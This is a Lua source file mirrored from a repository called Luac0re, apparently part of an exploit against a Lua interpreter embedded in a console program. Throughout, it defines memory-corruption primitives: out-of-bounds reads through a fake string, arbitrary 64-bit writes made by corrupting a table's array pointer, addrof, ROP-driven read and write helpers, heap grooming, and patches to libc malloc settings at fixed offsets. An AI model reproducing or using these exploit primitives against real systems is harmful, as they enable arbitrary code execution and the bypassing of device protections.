mirror of
https://github.com/Gezine/Luac0re.git
synced 2026-10-18 23:07:31 -05:00
149 lines
3.8 KiB
Lua
149 lines
3.8 KiB
Lua
|
|
-- DO NOT PUT ADDRESS LOWER THAN EBOOT_BASE+0x393350
|
|
-- EBOOT text segment size is 0x374000 so this should cover almost all address
|
|
function read_unstable(addr, len)
|
|
local offset = addr - STRING_BASE
|
|
local data = FAKE_STRING:sub(offset + 1, offset + len)
|
|
return data
|
|
end
|
|
|
|
function read8_unstable(addr)
|
|
return string.unpack("B", read_unstable(addr, 1))
|
|
end
|
|
|
|
function read32_unstable(addr)
|
|
return string.unpack("<I4", read_unstable(addr, 4))
|
|
end
|
|
|
|
function read64_unstable(addr)
|
|
return string.unpack("<I8", read_unstable(addr, 8))
|
|
end
|
|
|
|
-- WRITE_TABLE[2] writes to ADDROF_TABLE+0x10 (array pointer)
|
|
-- ADDROF_TABLE[N] writes to array + (N-1)*16
|
|
--
|
|
-- So ADDROF_TABLE[3] writes to array + 2*16 = array + 0x20
|
|
--
|
|
-- To write to addr using ADDROF_TABLE[3]:
|
|
-- We set array = addr - 0x20
|
|
-- Then ADDROF_TABLE[3] writes to (addr - 0x20) + 0x20 = addr
|
|
--
|
|
-- This corrupts adjacent 8 bytes so do not use this other than ROP
|
|
function write64_unstable(addr, value)
|
|
-- Set ADDROF_TABLE's array to addr - 0x20
|
|
WRITE_TABLE[2] = addr - 0x20
|
|
|
|
-- Write value using ADDROF_TABLE[3]
|
|
-- This writes to (addr - 0x20) + 0x20 = addr
|
|
ADDROF_TABLE[3] = value
|
|
|
|
-- Restore array pointer
|
|
WRITE_TABLE[2] = ARRAY_ADDR
|
|
end
|
|
|
|
function addrof(obj)
|
|
ADDROF_TABLE[1] = obj
|
|
return read64_unstable(ARRAY_ADDR)
|
|
end
|
|
|
|
function read64(address)
|
|
return call_rop(MOV_RAX_DEREF_RAX_RET, address)
|
|
end
|
|
|
|
function read32(address)
|
|
return read64(address) & 0xFFFFFFFF
|
|
end
|
|
|
|
function read16(address)
|
|
return read64(address) & 0xFFFF
|
|
end
|
|
|
|
function read8(address)
|
|
return read64(address) & 0xFF
|
|
end
|
|
|
|
function write64(address, value)
|
|
if type(value) == "string" then
|
|
value = addrof(value) + 0x20
|
|
end
|
|
call_rop(MOV_DEREF_RDI_RAX_RET, value, address)
|
|
end
|
|
|
|
function write32(address, value)
|
|
if type(value) == "string" then
|
|
value = addrof(value) + 0x20
|
|
end
|
|
local current = read64(address)
|
|
write64(address, (current & ~0xFFFFFFFF) | (value & 0xFFFFFFFF))
|
|
end
|
|
|
|
function write16(address, value)
|
|
if type(value) == "string" then
|
|
value = addrof(value) + 0x20
|
|
end
|
|
local current = read64(address)
|
|
write64(address, (current & ~0xFFFF) | (value & 0xFFFF))
|
|
end
|
|
|
|
function write8(address, value)
|
|
if type(value) == "string" then
|
|
value = addrof(value) + 0x20
|
|
end
|
|
local current = read64(address)
|
|
write64(address, (current & ~0xFF) | (value & 0xFF))
|
|
end
|
|
|
|
function malloc(size)
|
|
return calloc(size, 1)
|
|
end
|
|
|
|
function read_buffer(addr, size)
|
|
local str = string.rep("\0", size)
|
|
local str_data_addr = addrof(str) + 0x20
|
|
|
|
memcpy(str_data_addr, addr, size)
|
|
|
|
return str
|
|
end
|
|
|
|
function write_buffer(dest, buffer)
|
|
local buffer_addr = addrof(buffer) + 0x20
|
|
|
|
memcpy(dest, buffer_addr, #buffer)
|
|
end
|
|
|
|
function read_null_terminated_string(addr)
|
|
local result = ""
|
|
while true do
|
|
local chunk = read_buffer(addr, 0x8)
|
|
local null_pos = chunk:find("\0")
|
|
if null_pos then
|
|
return result .. chunk:sub(1, null_pos - 1)
|
|
end
|
|
result = result .. chunk
|
|
addr = addr + #chunk
|
|
end
|
|
end
|
|
|
|
function patch_malloc()
|
|
-- Make malloc to map memory automatically when memory is low
|
|
write32(LIBC_OFFSETS.malloc_heap_override_enabled, 0) -- disable fixed override
|
|
write64(LIBC_OFFSETS.malloc_heap_size_limit, -1) -- unlimited
|
|
write8(LIBC_OFFSETS.malloc_heap_page_align, 1) -- must be 1 for 64KB alignment
|
|
write64(LIBC_OFFSETS.malloc_heap_premapped_base, 0) -- force mmap path
|
|
|
|
-- Groom libc heap
|
|
local buffers = {}
|
|
for i = 1, 5 do
|
|
buffers[i] = malloc(0x4000000)
|
|
end
|
|
for i = 1, 5 do
|
|
if buffers[i] ~= 0 then
|
|
free(buffers[i])
|
|
end
|
|
end
|
|
|
|
send_notification("malloc patched")
|
|
|
|
end
|